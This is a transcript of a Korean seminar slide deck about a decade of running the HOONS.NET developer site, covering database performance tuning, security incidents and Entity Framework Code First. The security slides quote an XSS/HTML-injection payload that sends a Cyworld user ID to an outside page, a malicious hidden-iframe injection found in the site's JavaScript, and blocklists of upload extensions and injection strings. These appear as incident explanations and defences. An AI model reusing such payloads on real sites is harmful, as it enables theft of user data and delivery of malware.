hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

85
부제: “닷넷 기반 웹 사이트 개발학” 개론 HOONS닷넷 좌충우돌 10년, 그리고 새로운 패러다임 박경훈

Upload: joel-park-

Post on 01-Jul-2015

3.205 views

Category:

Technology


6 download

DESCRIPTION

[32회 HOONS닷넷 정기세미나] Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

TRANSCRIPT

Page 1: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

부제: “닷넷 기반 웹 사이트 개발학” 개론

HOONS닷넷 좌충우돌 10년, 그리고 새로운 패러다임

박경훈

Page 2: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

강사소개

[email protected]

http://blog.hoons.kr

http://twitter.com/_hoons

현) HOONS닷넷 운영자 닷넷개발자 since 2002 전) 캠든소프트 대표 2005~2010년 MS Visual C# MVP 10여권의 프로그래밍 서적 집필 및 번역 KBS 미래를 짊어질 젊은 주역 60명 선정 극동방송 테마 CCM 진행자

Page 3: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

진행순서

HOONS닷넷 좌충우돌 10년 - 성능이슈 - 보안이슈

HOONS닷넷 3.0 - Part1. 엔티티 프레임워크 (Code-First)

Page 4: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

HOONS닷넷 좌충우돌 10년

Page 5: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

웹사이트가 느려지기 시작했다 (2007~2008)

DB성능을 고려하지 않은 개발

쌓여가는 컨텐츠

Page 6: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

MSSQL CPU – 100%

Page 7: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

검색 bot 들과의 전쟁

Page 8: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

검색어를 유추하여 수없이 Request

난 너의 에러메시지까지 저장하고 있다. By, 수천 개도 넘는 봇들

Page 9: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

대안 #1

1. 웹사이트 루트에 robots.txt 파일의 생성 http://www.robotstxt.org/orig.html

# robots.txt for http://www.example.com/ User-agent: * Disallow: /cyberworld/map/ # This is an infinite virtual URL space # Cybermapper knows where to go. User-agent: cybermapper Disallow:

Page 10: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

하지만

Page 11: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

대안 #2

검색 허용 시간을 지정

if (DateTime.Now.Hour > 8 && DateTime.Now.Hour < 22) { if (Request.UserAgent.ToLower().IndexOf("bot") > 0) { Response.End(); return; } else if (Request.UserAgent.ToLower().IndexOf("yahoo") > 0) { Response.End(); return; } }

Page 12: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

대안 #3

로그를 활용하여 스팸 악성BOT의 분석

http://www.user-agents.org

Page 13: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

기본원칙에 기반한 DB의 재설계

Page 14: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

1. Order By를 사용하지 않는다.

Index를 활용한 자동 정렬

Page 15: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

Order By의 성능 비교

select top 40 * from Board order by BoardOrderSeq

select top 40 * from Board

Page 16: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

2. 단순조회는 Lock을 해제한다.

SQL의 기본 격리 수준은 Read Committed -> 다른 사람이 글을 쓰는 동안은 글을 조회할 수 없다.

글을 읽는 동안 조회수 증가 업데이트 구문이 있기 때문에 다른 사람들이 조회를 할 수 없다.

Page 17: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

Lock 해제

SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED GO

프로시저 설정

SELECT COUNT(B.BoardIdx) as Counter FROM BOARD B With(nolock)

쿼리 설정

Page 18: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

3. FullText Search의 도입

Page 19: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

Full-Text Search 쿼리

Select * from board where CONTAINS(BoardContent, ' "choc*" ')

Page 20: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

4. 캐싱 처리 도입

Page 21: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

메모리 캐싱 처리 예제

캐시에 저장

DataSet ds = sqlHelper.ExecuteFill("쿼리"); Cache.Insert("Notice", ds, null, DateTime.Now.AddMinutes(2), TimeSpan.Zero);

캐시에서 불러오기

if (Cache["Notice"] == null) { DataSet ds = Cache["Notice"] as DataSet; }

Page 22: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

보안 이슈

Page 23: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

동네북

Page 24: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

파일 업로드의 취약점

.asp

.aspx

.cer 등의 파일 저장

“hoons.kr/파일경로/1.asp” 를 통한 접근

Page 25: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

첨부파일을 이용한 해킹

Page 27: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

대안#1: 위험한 확장자 업로드 차단

public static bool IsBadFile(string strExtention) { // 위험한 확장자인지 확인 Regex objNotWholePattern = new Regex(@"\.(bat|htc|cs|vb|

cpp|ashx|rpt|cab|exe|cmd|sh|php|pl|cgi|386|dll|com|torrent| js|app|jar|pif|vb|vbscript|wsf|asp|cer|csr|asp|aspx|asmx|jsp| drv|sys|ade|adp|bas|chm|cpl|crt|csh|fxp|hlp|hta|inf|ins|isp| jse|htaccess|htpasswd|ksh|lnk|mdb|mde|mdt|mdw|msc|msi| msp|mst|ops|pcd|prg|reg|scr|sct|shb|shs|url|vbe|vbs|wsc| wsf|wsh)$");

return objNotWholePattern.IsMatch(strExtention); }

정규식으로 확장자 차단

Page 28: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

대안#2: 닷넷 신뢰 수준 조정

Page 29: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

XSS/CSRF 취약점을 이용한 정보 습득

싸이월드 방문자 확인 프로그램

메이플스토리 – 개인정보 유출

Page 30: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

XSS/CSRF 취약점을 이용한 정보 습득

옥션 1000만명 개인정보유출

Page 31: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

지금 중국은…

Page 32: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

사례: 싸이월드 개인정보 수집

스크립트의 삽입 - 다이어리

Page 33: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

사례: 싸이월드 개인정보 수집

HTML 인젝션 #1

www.hoons.kr”> <img src=“0필셀이미지“ onerror=“javascript:document.location= 'http://www.hoons.kr/cyworld.asp ?usertid='+ usertid;</script>” width=‘0’ height=‘0

링크에 아래 값 삽입

Page 34: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

사례: 싸이월드 개인정보 수집

HTML 인젝션 - 결과

<a href=’www.hoons.kr‘> <img src=“0필셀이미지“ onerror=“javascript:document.location= 'http://www.hoons.kr/cyworld.aspx ?usertid='+ usertid;</script>” width=0 height=0’> <img src=미니룸 이미지></a>

www.hoons.kr”> <img src=“0필셀이미지“ onerror=“javascript:document.location= 'http://www.hoons.kr/cyworld.asp ?usertid='+ usertid;</script>” width=‘0’ height=‘0

Page 35: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

대처방안

반드시 필요한 경우가 아니라면 HTML, Javascript 등의 스크립트를 사용할 수 없도록 기능을 제거

인젝션에 사용할 문자열들은 블랙리스트 location=, href=, .open(, <script, javascript:, .cookie, .write, alert(, &#40, &#040, …

모든 submit에는 Referer를 확인(하지만 위조 가능)

글 작성 시 요청되는 파일에서 Token 생성 후 Action 파일에서 Token 유효성을 체크

Page 36: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

쿠키 변조를 통한 권한 상승

암호화 하지 않은 쿠키는 손쉽게 변경 가능 - 대칭키 or 공개키 알고리즘 적용 필요

Page 37: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

쿠키 변조하기

Page 38: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

[2009/12] 잊지 못할 사건

Trojan.Downloader.JS.NZ 악성코드가 내려갔던 공포의 이틀을 기억하고 있다.

Page 39: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

그리고 아직 풀리지 않은 미스테리

… document.write("<iframe width='0' height='0' src='http://www.intuition.co.uk/l/eco.htm'></iframe>");

누가 내 JS 파일을 수정했을까?

Page 40: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

닷넷 아키텍처의 변화

Page 41: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

닷넷의 탄생 - 개발생산성 - 웹서비스 - COM+

2002 2007 2009

닷넷2.0출시

2005

HOONS닷넷 1.0 개발 - ASP.NET 1.0

HOONS닷넷 2.0 개발 - ASP.NET 2.0

2008

HOONS닷넷 3.0개발 - ASP.NET MVC

닷넷3.5출시

닷넷3.0

2006 2010

ASP.NET MVC 1.0 출시

닷넷4.0출시

2012

웹2.0 기술의 정착 - 시멘틱 웹 - 사용자 중심의 웹 - Ajax 기술의 정착

RIA 기술의 열풍 - Flex - Java FX - Silverlight

스마트폰의 태동 - 아이폰 - 안드로이드 - 윈도우폰7

실버라이트 1.0

윈도우8& 닷넷4.5 출시 예정

WPF WCF WF

윈폰7 출시

Page 42: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

[닷넷 1.0] 아키텍처

Page 43: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

[닷넷 1.0] 아키텍처

DCOM MTS +

Page 44: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

HOONS닷넷 1.0 - 2002

닷넷1.1 (ASP.NET 1.1) MS SQL 2000

Page 45: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

HOONS닷넷 2.0 - 2008

ASP.NET 2.0 ASP.NET AJAX MS SQL 2005

Page 46: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

HOONS 2.0의 아키텍쳐

Web Form

Web Service

BSL (Business Service)

Ajax.Net

DAL (Data Access)

HoonsFrameWork

Data Base

ASP.NET 2.0 WCF

(COM+)

DLL (C#2.0)

+ DB

Page 47: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

HOONS 2.0의 아키텍쳐

Web Form

BSL (Business Service)

Ajax.Net

DAL (Data Access)

Hoons FrameWork

Page 48: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

하지만,,

실용성

생산성

Page 49: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

그래서,,

Web Form

Aap.Net Ajax

HoonsFrameWork

Data Base

ASP.NET 2.0 DB

Page 50: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

MVC

Unit Testing

Repository Pattern

Change Tracking

Concurrency

Unit of Work MVVM

Separation of Concerns Dependency Injection

Transactions

Performance

바야흐로 5년

Page 51: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

다시 제대로 만들어 보고

싶습니다 ㅠㅠ

Page 52: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

HOONS닷넷 3.0

MVC

Repository Pattern

TDD

Entity

SoC

Dependency Injection

Page 53: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

ASP.NET MVC의 3Tier

BSL (Business Service) Controller

DAL (Data Access)

Entity (Data Scheme)

Data Base

ASP.NET MVC WCF DLL + DB

model

View (Jquery&

Razor)

Page 54: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

Entity 기반의 데이터 핸들링

Page 55: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

View MODELS.

WEB

Controller

JQuery

HOONS.MVC.FRAMEWORK

Data Base

HOONS닷넷 3.0 아키텍처 – 2tier

MODELS. DB

Entity Framework

4.0

Entity

ASP.NET MVC DB

Page 56: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

HOONS닷넷 3.0 아키텍처 – 2tier

Javascript HTML CSS

문서 디자인 동적 UI 제어

[VIEW]

Page 57: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

Entity Framework의 도입

Page 58: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

MVC

Repository Pattern

TDD

Entity SoC

Dependency Injection

Page 59: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

엔티티 프레임워크의 도입

Business Entity

Relation Data

Conceptual

Entity

CSDL

Entity

Entity

Logical Store

Table

SSDL

Table

Table

Mapping

MSL

Page 60: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

DB스키마와 EDM

DB 스키마 EDM

Page 61: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임
Page 62: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

LINQ TO SQL 과 ENTITY Framework

• SQL Server 만 지원

• DB 스키마(테이블, 컬럼등) 직접 매핑

• 스트림 데이터를 지원하지 않음

LINQ to SQL

• 다양한 이기종 지원(Oracle, DB2 등)

• CSDL, MSL, SSDL 형태로 분리

• EntityClient를 통한 스트림 데이터 지원

Entity Framewrok

Page 63: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

엔티티 프레임워크의 도입

DB Model

Code

DB Model

Code

DB Model

Code

Design time

Design time

Design time

Design time

Runtime Runtime

DB First

Model First

Code First

Page 64: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

UI 기반 모델

Page 65: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

• 클래스들과 매핑 코드 정의 (별도의 업그레이드 툴로 이용 가능)

코드 기반 모델 – CodeFirst

Page 66: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

Product • Id: int • Name: max • UnitPrice: decimal

Product • Id: int • Name: 128 • UnitPrice: decimal

ChangeColumn( “Products", "Name", ca => ca.String( maxLength:128));

Code First

Page 67: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

장점

개발 생산성의 절감 - DB로부터 엔티티 클래스의 자동 생성 - 쿼리를 자동생성

어떤 DB도 쿼리의 수정이 없음

LINQ를 이용하여 복잡한 쿼리를 쉽게 조합하여 사용이 가능함

Page 68: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

HOONS닷넷 3.0 - Code First 모델의 적용 - Entity Generator

Page 69: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

쿼리 실행과정

//1. 보드 리스트 가져오기 var QueryBoard = from BOARD in context.Boards //2. 검색어 설정 QueryBoard = from BOARDList in QueryBoard where BOARDList.BoardTitle.Contains(strValue) select BOARDList; //3. 페이징 설정 QueryBoard = QueryBoard.OrderByDescending(x=>x.BoardOrderSeq) .Skip((PageIndex - 1) * PageSize).Take(PageSize); //모델에 바인딩 //BLModel.BoardList = QueryBoard.ToList();

Page 70: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

페이징 쿼리 팁

//페이징 설정 QueryBoard = QueryBoard.OrderByDescending(x=>x.BoardOrderSeq) .Skip((PageIndex - 1) * PageSize).Take(PageSize);

Skip()은 OrderBy를 필수로 요청

Page 71: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

실제 DB에서는..

Order By BoardTitle

Order By BoardOrderSeq

Page 72: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

엔티티 프레임워크로 가자!

Page 73: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

SELECT

1 AS [C1],

[Project2].[Bonus] AS [Bonus],

[Project2].[C1] AS [C2],

[Project2].[FirstName] AS [FirstName],

[Project2].[LastName] AS [LastName],

[Project2].[C2] AS [C3]

FROM ( SELECT

[Project1].[Bonus] AS [Bonus],

[Project1].[FirstName] AS [FirstName],

[Project1].[LastName] AS [LastName],

[Project1].[C1] AS [C1],

(SELECT

COUNT(cast(1 as bit)) AS [A1]

FROM [Sales].[SalesOrderHeader] AS [Extent5]

WHERE [Project1].[BusinessEntityID] = [Extent5].[SalesPersonID]) AS [C2]

FROM ( SELECT

[Extent1].[BusinessEntityID] AS [BusinessEntityID],

[Extent1].[SalesQuota] AS [SalesQuota],

[Extent1].[Bonus] AS [Bonus],

[Extent2].[FirstName] AS [FirstName],

[Extent2].[LastName] AS [LastName],

(SELECT

SUM([Filter1].[A1]) AS [A1]

FROM ( SELECT

(SELECT

SUM([Extent4].[LineTotal]) AS [A1]

FROM [Sales].[SalesOrderDetail] AS [Extent4]

WHERE [Extent3].[SalesOrderID] = [Extent4].[SalesOrderID]) AS [A1]

FROM [Sales].[SalesOrderHeader] AS [Extent3]

WHERE [Extent1].[BusinessEntityID] = [Extent3].[SalesPersonID]

) AS [Filter1]) AS [C1]

FROM [Sales].[SalesPerson] AS [Extent1] INNER JOIN [Person].[Person] AS [Extent2] ON ([Extent1].[BusinessEntityID] =

[Extent2].[BusinessEntityID]) OR (([Extent1].[BusinessEntityID] IS NULL) AND

([Extent2].[BusinessEntityID] IS NULL))

) AS [Project1]

WHERE [Project1].[C1] > [Project1].[SalesQuota]

) AS [Project2]

Page 74: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임
Page 75: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

엔티티 프레임워크의 흑과백

“크지 않은 규모, 성능에 민감하지 않은 프로젝트에서의 ORM은 최고의 생산성을 가져다 줄 것이지만, 큰 프로젝트, 높은 성능, 복잡한 업무 로직에서는 ORM을 추천하고 싶지 않다.”

=> SQL Tracing 작업으로 필수적으로 SQL 생성 결과를 확인해야 함

Page 76: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

로깅 #1. EFTracingProvider를 이용

http://blogs.msdn.com/b/jkowalski/archive/2009/06/11/tracing-and-caching-in-entity-framework-available-on-msdn-code-gallery.aspx

Page 77: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

로깅 #2. 쿼리 실행 전 로그기록

public static void QueryLogger<T>(IQueryable<T> TraceQuery) { if (디버깅 모드라면) { //쿼리기록 LogBase.WriteLog("Entity", TraceQuery.ToString());} } }

Page 79: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

아직 아쉬운 점

멀티 DB를 쓰지 못함

프로시저의 결과를 엔티티 컬럼으로 매핑이 어려움

Lock 기능에 대한 불편함

기본기능으로 SQL 로깅이 포함되어 있지 않음

Page 80: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

아직 아쉬운 점: 인덱스설정 부분

//초기 DB 생성시 SQL 구문작성 protected override void Seed(MyContext context) { context.Database. SqlCommand("CREATE INDEX IX_Person_Name ON Person (Name)"); }

Page 81: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

[정리] 엔티티 프레임워크 프로젝트의 성공률을 높이기 위해서

잦은 테이블의 변경을 최소화 하기 위해서 DB 설계시간을 많이 투자해야 함

개발자는 식을 만들 때마다 실제 쿼리를 모니터링 해야 함 - 개발자 교육 필요 - 쿼리 로그가 필수

Page 82: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

엔티티에 대한 못다한 이야기는 다음 번 Part2 세미나에서 이어

집니다.

Page 83: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

[Next Session]

MVC

Repository Pattern

TDD

Entity

SoC

Dependency Injection

Page 84: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임

Q&A

Page 85: Hoons닷넷 좌충우돌 10년, 그리고 새로운 패러다임